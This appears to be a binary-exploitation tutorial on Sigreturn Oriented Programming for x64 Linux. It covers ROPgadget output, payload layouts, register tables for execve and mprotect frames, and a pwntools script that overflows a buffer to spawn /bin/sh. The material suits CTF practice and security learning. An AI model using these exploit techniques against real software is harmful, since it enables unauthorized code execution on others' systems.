Exploit a binary with SigReturn Oriented Programming (SROP)
Some cool techniques you can use to create SROP exploits
If you’re interested in binary exploitation, you may have heard of SROP (Sigreturn Oriented Programming), a technique that leverages a program’s signal handling mechanism to take control of its execution flow.
Since it was first presented at the 35th IEEE Symposium on Security and Privacy in 2014, SROP has been the subject of several papers and numerous CTF challenges. However, it remains difficult to find a comprehensive paper on the topic. In this article, we will cover (probably not exhaustively) the different ways to exploit an x64 binary using SROP.
Table of contents:
- How does it work?
- Why use this technique?
- The different ways to set
eaxto0xf - Examples of custom sigcontexts
How does it work?
To understand SROP, we must first understand what happens when a signal occurs in a Unix-like system.
What happens when a signal occurs
- The kernel pauses the process in order to jump to a routine that will handle the signal.
- To safely resume execution after the handler, the context of the process (registers, flags, instruction pointer, stack pointer…) is saved on the stack, in a
sigcontextstructure. - Once the handler is finished,
sigreturn()is called: the context is restored from the stack and the saved values are removed.


We can use this mechanism to exploit a binary. For a good SROP, we need three things:
- A buffer overflow vulnerability
- A way to put the value
0xf, thesigreturnsyscall number, into theeaxregister - A
syscall; retgadget
Why use this technique?
- It lets you build an exploit with a very limited number of ROP gadgets.
- It’s much easier to control the execution context (the state of the registers) than with classical ROP.
- SROP exploits are usually portable across different binaries with little or no effort.
- Because we can.
The different ways to set eax to 0xf
The trivial case: a mov eax, 0xf gadget
This is the simplest case: the gadget places 0xf into eax in a single step, with no need to chain gadgets.
We start by searching for the gadgets in the binary with ROPgadget:
$ ~ ROPgadget --binary trivial
Gadgets information
============================================================
[...]
0x0000000000001139 : syscall ; ret
[...]
0x0000000000001143 : mov eax, 0xf ; ret
[...]
With these two gadgets, building an exploit becomes very simple. Here is its structure:
Padding until we reach the saved rip |
Address of the mov eax, 0xf; ret gadget (0x0000000000001143) |
Address of the syscall; ret gadget (0x0000000000001139) |
| Sigcontext structure with the desired parameters |
Using the pop rax; ret gadget
In this variant of the previous case, it is still rather simple to put 0xf into rax (on x64, pop always works on the full 64-bit register):
$ ~ ROPgadget --binary pop_rax
Gadgets information
============================================================
[...]
0x000000000040101b : syscall ; ret
[...]
0x0000000000401020 : pop rax ; ret
[...]
Here is the structure of our exploit:
Padding until we reach the saved rip |
Address of the pop rax; ret gadget (0x0000000000401020) |
0xf (sigreturn syscall number) |
Address of the syscall; ret gadget (0x000000000040101b) |
| Sigcontext structure with the desired parameters |
And an example of a Python 2 exploit using pwntools, by mishrasunny174:
#!/usr/bin/env python2
from pwn import *
context.arch = 'amd64'
offset = 0x48
padding = 'A'*offset
pop_rax = 0x0000000000401020 #pop rax, ret gadget
syscall = 0x000000000040101b #syscall gadget
bin_sh = 0x0000000000402000 #bin_sh location in binary
p = process('./srop')
payload = padding
payload += p64(pop_rax)
payload += p64(15)
payload += p64(syscall)
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = bin_sh
frame.rip = syscall
payload += str(frame)
p.sendline(payload)
p.interactive()
Its author uses the string /bin/sh present in the binary, passing it to execve via the rdi register, but many other methods are possible.
Using the read syscall
Interestingly, the read syscall stores the number of bytes read in eax. There are two ways to use it to set eax to 0xf. Both assume that, when the syscall runs, rdi is 0 (stdin), rsi points to a writable buffer and rdx is at least 15.
With the mov eax, 0x0 gadget
Padding until we reach the saved rip |
Address of the mov eax, 0x0; ret gadget |
Address of the syscall; ret gadget |
We then send a 15-byte string (0xf in hexadecimal) to the binary, which places 0xf in eax. And finally:
Address of the syscall; ret gadget |
| Sigcontext structure with the desired parameters |
With the pop rax gadget
Padding until we reach the saved rip |
Address of the pop rax; ret gadget |
0x0 (read syscall number) |
Address of the syscall; ret gadget |
We then send a 15-byte string to the binary, which places 0xf in eax. And finally:
Address of the syscall; ret gadget |
| Sigcontext structure with the desired parameters |
Examples of custom sigcontexts
Once you know how to call the sigreturn syscall, you need to get a shell through the context that will be restored from the stack. Besides the registers below, the frame must also hold a valid cs (0x33 for 64-bit code); pwntools’ SigreturnFrame sets it for you.
If the binary contains the /bin/sh string
The idea is to call execve (syscall 0x3b, 59 in decimal) with the string /bin/sh as a parameter, which gives us a shell. The string can either be present in the binary or be written to a memory area whose address you know.
| Register | Value |
|---|---|
rip |
Address of the syscall instruction |
rax |
0x3b (execve syscall) |
rdi |
Address of /bin/sh |
rsi |
0x0 (NULL) |
rdx |
0x0 (NULL) |
Using mprotect
mprotect: set protection on a region of memory.
We use mprotect to make a memory area of our choice executable and writable, so that a shellcode can run there. We then shift the stack to that area, so we can easily write data to it: rsp is set to an address containing the entry point of the program, to ensure a normal control flow. We can then redirect the program to the shellcode, which will be executed despite the NX protection.
| Register | Value |
|---|---|
rax |
0xa (mprotect syscall) |
rdi |
Shellcode address (page-aligned) |
rsi |
Size (e.g. 0x1000) |
rdx |
0x7 (mode rwx) |
rsp |
Address containing the entry point (new stack) |
rip |
Address of the syscall; ret gadget |
To go further
- Wikipedia article about SROP
- A write-up of the Minipwn challenge from the 2019 TheManyHatsClub CTF
- Erik Bosman’s article
Thanks for reading!
For more information or suggestions, you can contact me at r0g3r5@protonmail.com, or on X.